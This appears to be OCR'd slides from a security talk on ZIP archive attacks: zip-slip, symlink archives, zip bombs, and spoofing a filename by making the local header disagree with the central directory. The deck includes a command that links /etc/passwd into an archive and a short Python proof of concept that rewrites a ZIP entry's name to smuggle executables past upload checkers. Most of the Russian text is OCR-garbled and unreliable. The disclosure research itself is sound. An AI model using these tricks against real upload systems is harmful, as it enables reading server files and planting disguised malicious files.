'} gie%il’j?ilty

icnonb3yem zip Ha
macOS

@v1rub5

fhd‘



Whoami

Telegram: @v1ru55
Pentester @DSec

Bug hunter (Yandex, Mail.ru, Protonmail)

Sometimes a speaker (Digital Security OnAir)

Guitar player (try to find me on YT)

Bonkos Bnagumup
MeHTecTep, UTdep, NMUTOHUCT
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CopepxaHue

O /‘ [pepucnosue O LI‘ JKCNepuMeHTbI
O 2 CTpykTypa zip O 5 bara
O 3 Mpukonbl zip O 6 NogpobHee
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[peaucnosue

E(\)Q Cuctema XxpaHeHus ,%( Kak xakaTb?

Cncrema xpaHeHus, koTopas CMOTPUT TbIKHYTb KaBblUKy

LnpeHns Gannos B apxus y
paclnpeHns (hannos B apxuse [1BOMHOE paclimpeHnie

Null byte

[lpocTo nonyuntb RCE

Digital Security ——



Cucrema XpaHeHus

CHECKER SHARE
Z‘;—;p File.txt —
: Doc.zip
= F=— Doc.docx
| ’ | e} [ )
| Zip.zip Zip.zip
File.txt Evil.
o .
Zipzip Evil.sh ,?
To save .Zip'Zip
Filetxt




Mpukonsi zip

Zip-slip

Zip symlink

Zip-bomb

Digital Security —— 6



Mpukonsi zip

Zip-slip

[103BONAET pacnakoBbiBaTb Maunn B
NPOM3BONbHYK ANPEKTOPIO
Evilarc.py

https://github.com/ptoomey3/evilarc

0123456 789ABCDEF

hacked.

Digital Security ——



Mpukonsi zip

Zip symlink

[103BONAET NPU PACNAKOBKE CCbITKK NOMYYUTD
A0CTYN K (hauny Ha CepBepe, Ha KOTOPbIN
YKa3blBAET CCblIMka

In -s /etc/passwd link
zip =symlink link.zip link

0123456789ABCDEF

Digital Security ——



Mpukonb zip

My school's IT guy
. watching as | unload a
Hp-bomd 4000 terabyte zip bomb
s, o ok b as onto the school's network

PaCnakoBblBaeTCA

100M 6 ceH 0@8:21 splat.png
4.06K 8 Hos 2019 splat.png.bzZ

-

Digital Security ——




[Ipo6bnema

KaK XxakaTtb?

Digital Security —— 10



- struct ZIPFILERECORD record

> char frSignature[4]
ushort frVersion
ushort frFlags
enum COMPTYPE frCompression
DOSTIME frFileTime
DOSDATE frFileDate
uint frCrc
uint frCompressedSize
uint frUncompressedSize
ushort frFileMamelength
ushort frExtraFieldLength

> char frFileName[8]

> uchar frExtraField[28]

> uchar frData[20]

- struct ZIPENDLOCATOR endLocator

> char elSignature[4]
ushort elDiskNumber
ushort elStartDiskNumber
ushort elEntriesOnDisk
ushort elEntriesinDirectory
uint elDirectorySize
uint elDirectory Offset
ushort elCommentLength

CTpykTypa Zip-haina

test.ixt
PKEE
10

0
COMP_...
04:47:46
08/02/2...
C1F28C...
20

20

]

28
testixt

Oh
Oh
4h
Eh
8h
Ah
Ch
Eh
12h
16h
1Ah
1Ch
1Eh
26h
42h
Adh
Adh
ABh
AAh
ACh
AEh
BOh
Bdh
B8h

66h  struct ZIPDIRENTRY dirEntry

4h
2h
2h
2h
2h
2h
4h
4h
4h
2h
2h
8h
1Ch
14h
16h
4h
2h
2h
2h
2h
4h
4h
2h

> char deSignature[4]

ushort deVersionMadeBy
ushort deVersionToExtract
ushort deFlags

enum COMPTYPE deCompression

DOSTIME deFileTime
DOSDATE deFileDate

uint deCrc

uint deCompressedSize
uint deUncompressedSize
ushort deFileMameLength
ushort deExtraFieldLength
ushort deFileCommentlLength
ushort deDiskNumberStart
ushort delnternalAttributes
uint deExternalAttributes
uint deHeaderOffset

> char deFileName[8]
> uchar deExtraField[24]

test.exe
PKE
798

10

]
COMP_...
04:47:46
08/02/2...
C1F28C...
20

20

8

24

]

]

1
218097...
]
test.exe

CTpykTypa Zip-channa

&6h
&6h
BAh
&Ch
BEh
B60h
62h
64h
B66h
BAh
BEh
72h
74h
76h
78h
7Ah
7Ch
B0h
34h
8Ch

4El
4h
2h
2h
2h
2h
2h
2h
4h
4h
4h
2h
2h
2h
2h
2h
4h
4h
8h
18h



JKCNepuMeHTbI!

Zip_1_test_1

[lTogMeHa B
central dir

ZIP1

Zip_1_test_2

[TogMeHa B
local file

ZIP 1

Zip_2_test_1

[TogMeHa B
central dir

ZIP 64

Zip_2_test_2

[TooMeHa B
local file

ZIP 64

Digital Security ——
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Kakon euie zip 647

Standard Format Zip64 Format
Number of Files Inside an Archive 65,535 2764 - 1
Size of a File Inside an Archive [bytes] 4,294,967,295 2764 - 1
Size of an Archive [bytes] 4,294,967,295 2764 - 1

999 (spanning)
65,535 (splitting)

Central Directory Size [bytes] 4,294,967,295 2764 - 1

Number of Segments in a Segmented Archive

4,294,967,295 - 1

http://www.artpol-

software.com/ZipArchive/KB/0610051629.aspx
Digital Security —— 13



TectoBble Zip-thannbi

zip_1_test_txt.zip x  zip_1_test_txt2.zip zip_2_testixt.zip zip_2_tes{ zip_1_test_txt.zip zip_1_test_txt2.zip zip_2_testixt.zip x L

OOOOh: 50 4B 03 04 OA 00 00 00 00 00 F7 25 02 53 cc 28 PK ........ +%.Si( OOOOhE 50 4B 03 04 14 00 08 OO 08 00 F7 5D 02 53 00 00 PK-----...+]0500
0010h: 1F OC 14 00 00 00 14 00 00 00 08 00 1C 00 74 65 .......c...... te V070700 00 00 00 00 00 14 00 00 00 08 00 20 00 74 65 ............ .te
h: 0020h: 73 74 2E 74 78 74 55 54 0D 00 07 32 B1 07 61 35 st.txtUT...2+.a5
0020h: 73 74 2E 74 78 74 55 54 09 00 03 32 B1 07 61 E6 st.txtUT...2%.a= : -
0030h: B3 07 61 75 78 OB 00 01 04 F5 01 OO 00 04 14 00 3.aux....6 ...... 0030h- B1 07 61 34 B1 07 61 75 78 OB 00 01 04 F5 01 00 i.a4i.a|.,l¥....0;.
h: : = 0050h: 92 F8 AA CC |82 F8 92 8A 12 00 50 4B 07 08 CC 28 'o°I,0'S. .PK..I(
0050h: 69 70 5F 74 78 74 50 4B 01 02 1E 03 OA 00 00 00 ip_txtPK........ :
OOGOh: 00 00 F7 25 02 53 cc 28 1F Oc 14 OO 00 00 14 00 ..+%.Si( ........ 0230h- 00 00 00 00 00 A4 81 00 00 00 00 74 65 73 74 zE n.....test.
h- . 0250h: 34 B1 07 61 75 78 OB 00 01 04 F5 01 00 00 04 14 4+.aux....6.....
0080h: 00 00 00 00 74 65 73 74 2E 65 78 65 55 54 05 00 ....test.exellT..
. 0260h: 00 00 00 50 4B 01 02 14 03 14 00 08 00 08 00 F7 ...PK..........*
0090h: 03 32 B1 07 61 75 78 OB 00 01 04 F5 01 00 00 04 .2%.aux....o.... SRR
h: 0270h: 5D 02 53 05 24 C8 FF 42 01 00 00 E4 01 00 00 13 ].S.$EyB...a
00AOh: 14 00 00 00 50 4B 05 06 00 00 00 OO 01 00 01 OO ....PK.......... noz0h - T e :
00BOh: 4E 00 00 00 56 00 00 00 00 00 NV ! e
Template Results - ZIPAdv.bt =
Name Value Start Size Color
> struct ZIPFILERECORD record[0] testixt oh 6Ah Fo: Bojll
Template Results - ZIP.bt < > struct ZIPFILERECORD record[1] __MACOSX/._testixt 6Ah 1A3h Fa: Bg:-
Name Value Start Size Color > struct ZIPDIRENTRY dirEntry[0] test.exe 20Dh 56h Fa: Bg:-
> struct ZIPFILERECORD record testixt Oh 56h Fg: Bg:- > struct ZIPDIRENTRY dirEntry[1] __MACOSX/._testixt 263h 61h Fa: Bg:-
> struct ZIPDIRENTRY dirEntry testexe 56h 4Eh Fo: BgJlll > struct ZIPENDLOCATOR endLocator 2C4h 16h Fo: Bgllll
> struct ZIPENDLOCATOR endLocator Adh 16h Fo: Bl zip_1_test_txt.zip zip_1_test_txt2.zip zip_2_testixt.zip zip_2_test2txt.zip x
: : : : _ : _ 0000h: 50 4B 03 04 14 00 08 00 08 00 F7 5D 02 53 00 00 PK........ +].S..
zip_1_test_txt.zip zip_1_test_txt2.zip x zip_2_testixt.zip zip_2_tesl 0010h: 00 00 00 00 00 00 14 00 00 00 08 00 20 00 74 65 ............ .te
0020h: 73 74 2E 65 78 65 55 54 0D 00 07 32 B1 07 61 35 st.exelJT...2+.a5
)000h: 50 4B 03 04 OA 00 00 00 00 00 F7 25 02 53 CC 28 PK........ +%.SI( 0030h: B1 07 61 34 B1 07 61 75 78 0B 00 01 04 F5 01 00 +.asz. aux. . ..o, .
J010h: 1F 0C 14 00 00 00 14 00 00 00 08 00 1C 00 74 65 ..evveveunnnn. te 0040h: 00 04 14 00 00 00 OB C9 C8 2C 56 00 A2 92 D4 E2 ....... EE,V.c’0a
J020h: 73 74 2E 65 78 65 55 54 09 00 03 32 B1 07 61 E6 st.exelT...2:.ae 00500 92 F8 AA CC 82 F8 92 8A 12 00 50 4B 07 08 CC 28 'o°I,8’'S..PK..I(
J030h: B3 07 61 75 78 OB 00 01 04 F5 01 00 00 04 14 00 *.auX....8...... 0060h: 1F 0C 14 00 00 00 14 00 00 00 50 4B 03 04 14 00 .......... o ooa
)040h: 00 00 54 68 69 73 20 69 73 20 74 65 73 74 5F 7A ..This is test_z 0230h: 00 00 00 00 00 A4 81 00 00 00 00 74 65 73 74 2E |..... B test.
J050h: 69 70 5F 74 78 74 '50 4B 01 02 1E 03 '0A 00 00 00 lp txtPK. ... ..., 0240h: 74 78 74 55 54 0D 00 07 32 B1 07 61 35 B1 07 61 txtUT...2+.a5+.a
J060h: 00 00 F7 25 02 53 CC 28 1F OC 14 00 00 00 14 00 ..+%.SI(........ 0250h: 34 B1 07 61 75 78 0B 00 01 04 F5 01 00 00 04 14 4+.aux....d.....
J070h° 00 00 08 00 18 00 00 0O 00 00 01 00 00 00 FF 81 .....oevewun... §. 02600 00 00 00 50 4B 01 02 14 03 14 00 08 00 08 00 F7 ...PK,......... +
J080h: 00 00 00 00 74 65 73 74 2E 74 78 74 55 54 05 00 ....test.txtuT.. C(270h: 5D 02 53 05 24 C8 FF 42 01 00 00 E4 01 00 00 13 ].S.$EyB...a....
3090h : | IR R R I | 0720+ - E—— l——— ——————————— = —
JOAOh: 14 00 00 00 50 4B 05 06 00 00 00 00 01 00 01 00 ....PK.......... Template Results - ZIPAdv.bt <
Template Results - ZIP.bt = LET) T Value Start Size Color
Name Value Start Size Color > struct ZIPFILERECORD record[0] test.exe oh 6Ah Fo: Bolll
> struct ZIPFILERECORD record test.exe Oh 56h Fg: > struct ZIPFILERECORD record|[1] __MACOSX/._testixt 6Ah 1A3h Fa: Bg-
> struct ZIPDIRENTRY dirEntry testixt 56h 4Eh Fg: > struct ZIPDIRENTRY dirEntry[0] testxt 20Dh 56h Fo: Bg-
> struct ZIPENDLOCATOR endLocator Adh 16h Fa: > struct ZIPDIRENTRY dirEntry[1] __MACOSX/._testixt 263h 61h Fg:

> struct ZIPENDLOCATOR endLocator 2C4h 16h Fa:



- | Extract - Extract

Home Share View Compressed Folder Tools Home Share View Compressed Folder Tools
v 4 | <« Hoeasnanka > zip_1_test_txt 4+ | <« Hoas nanka » zip_1_test_txt2 v (9]
Name Type Name Type
B test Application | test Text Document
< C
n - | Extract < | Extract
=
S Home Share View Compressed Folder Tools Home Share View Compressed Folder Tools
c
= a : a :
M - 1T | <« Hoeaananka > zip_2_testixt » 4+ [ <« Hoeaananka » zip_2_test2.ixt v (@]
S
(s £ P
% Name Type Name Type
=
(&)
S __MACOSX File folder __MACOSX File folder

B test Application | test Text Document



:/mnt/hgfs/Hoeana nanka/zip_2 test$ cd ../zip 1 test && unzip zip 1 t
Archive: zip 1 test txt.zip
test.exe: mismatching "local" filename (test.txt),
continuing with "central™ filename version
_extracting: test.exe |
:/mnt/hgfs/Hoeaa nanka/zip_1 test$ cd ../zip 1 test 2 && unzip zip 1
Archive: zip 1 test txt2.zip
test.txt: mismatching "local" fTilename (test.exe),
continuing with "central™ filename version
extracting: ftest.tixt
:/mnt/hgfs/Hoean nanka/zip_1_test_2% cd ../zip 2 test && un
A nanka/zip_1 test 2% cd ../zip 2 test && unzip zip 2 test.txt.zip
Archive: zip 2 test.txt.zip
test.exe: mismatching "local” filename (test.txt),
continuing with "central™ filename version
__lnTlating: test.exe |
replace  MACOSX/. test.txt? [yles, [n]o, [A]LL, [N]one, [r]ename: n
:/mnt/hgfs/Hoeaa nanka/zip_2 test$ cd ../zip 2 test 2 && unzip zip =
Archive: zip 2 test2.txt.zip
test.txt: mismatching "local" fTilename (test.exe),
continuing with "central™ filename version
__inTlating: test.txt

PacnakoBka B Debian



PacnakoBka B macOS

v B zip_1_test

B test.txt

B zip_1_test_txt.zip
v B zip_1_test_2

E) test.exe

B zip_1_test_txt2.zip
v B zip_2_test

B test.txt

B zip_2_test.txt.zip
v B zip_2_test_2

E) test.exe

B zip_2_test2.txt.zip



He BMXY yA3BMMOCTb

Zip_1_test_1

[lTogMeHa B
dir entry

ZIP1

Zip_1_test_2

[TogMeHa B
file record

ZIP 1

Zip_2_test_1

[TogMeHa B
dir entry

ZIP 64

Zip_2_test_2

[TooMeHa B
file record

ZIP 64

Digital Security ——
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I I By yA3BMMOCTD!

Zip_1_test_1

[lTogMeHa B
dir entry
txt

ZIP1

Zip_2_test_1

[TooMeHa B
dir entry
txt

ZIP 64

Digital Security ——
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Cuctema XpaHeHus

CHECKER SHARE
Zﬁp File.txt =
; Doc.zip
=" == Doc.docx
| ’ | ) [ e ]
| Zip.zip Zip.zip
File.txt Evil.
c .
Zinai Evil.sh ,.f..
To save .Zip'Zip
Filetxt




Cuctema XpaHeHus

> Fr: Evil.sh
Zip.zip Dr: Filetxt

> Fr:Filetxt
Zipzip Dr: Evil.sh

CHECKER
[ com— [ c—
Zip.zip Z1p.zip
Fr:Evil.sh Fr:File.txt
Dr:File.txt Dr:Evil.
To save

Doc.zip
Fr:Doc.docx

Dr:Doc.docx

.=.
{ e—)
Zip.zip
Fr:Evil.sh
Dr:File.txt




Muwem 3KCNIoOuT

archive = sys.argv[1]
new_name = sys.argv[Z]

MacKekzZip

with open(archive, 'rb') as source:
https:/ /github.com/V1ru55Z/MacKekZip archive_source = source.read()

name_len = struct.unpack("h", archive_source[26:28])[@]
dir_len = struct.unpack("i", archive_source[-6:-2])[@]
new_name_len = int{len{new_name))

new_archive = archive_source[:26] +
struct.pack("h', new_name_len) + %
archive_source[28:30] + \
bytes(new_name.encode("utf-8")) + \
archive_source[3@+name_len:-6] +
struct.pack('i"', dir_len + new_name_len - name_len)
archive_source[-2:]

with open("./kek.zip", "wb") as dest:
deat.write(new_nrchive}ﬁ
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| | CueHapum aTak

CUEHAPIU W
o—J
[lpyroe paclnpeHve danna HenonntkoppekTHoe Ha3BaHue
o—J
[onnrnoThl BTopow hann ¢ onacHbiMu

3aBUCNMOCTAMMN
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HoBas 6ara, 0 KOTOPOW HUKTO He 3Han?

0-day, axaxa, HakaHeuTa!
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HoBas 6ara, 0 KOTOPOW HUKTO He 3Han?

4370-day, aXaxa, HaKaHeLTa! 'DisclosureDate' => 'Sep 28 2009’

'DefaultTarget' => 0

Digital Security —— 25


https://www.exploit-db.com/exploits/32752
https://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html

HoBas 6ara, 0 KOTOPOW HUKTO He 3Han?

MyPrivatel...

4370-day, axaxa, HakaHeuTa! W rsneg, il

—Fnle Commands Tools

|
=c JRNN )

Add BdractTo  Test Delete Find Wizard Info VirusScan Comment

| m B MyPrivatelmage.zip - ZIP archive, unpacked size 8,192 bytes

| Name - Type Modified CRC32
File folder

E3 =0 Selected 8,192 bytes in 1 file Total 8,192 bytes in 1 file

Test Mode

Windows 7

Build 7601
19:49

EN . @y )
B8 BEUI Lo
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https://www.exploit-db.com/exploits/32752
https://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html

HoBas 6ara, Ha KOTOpPYI0 BCEM BCE PaBHO?

HenmMnaKTHO!

Monb3oBatenb HE BMAOMT copepXuMoe apxnBa o PAcnakoBKM
[pu pacnakoBke HE nponcxoamT MrHOBEHHOE OTKpbITUE thanna

Okoweyko PWNED H@ BbicBeunBaeTcH

Digital Security —— 27



3aKnyeHue

A Hanucan Apple

After examining your report we do not see any actual security implications.

However, we have passed it along to the appropriate team to investigate as a potential future enhancement
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Bonpocbi?
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@ inbox@dsecru KQ +7(495) 223-07-86

Cnacnb6o 3a BHMMaHue!



mailto:inbox@dsec.ru

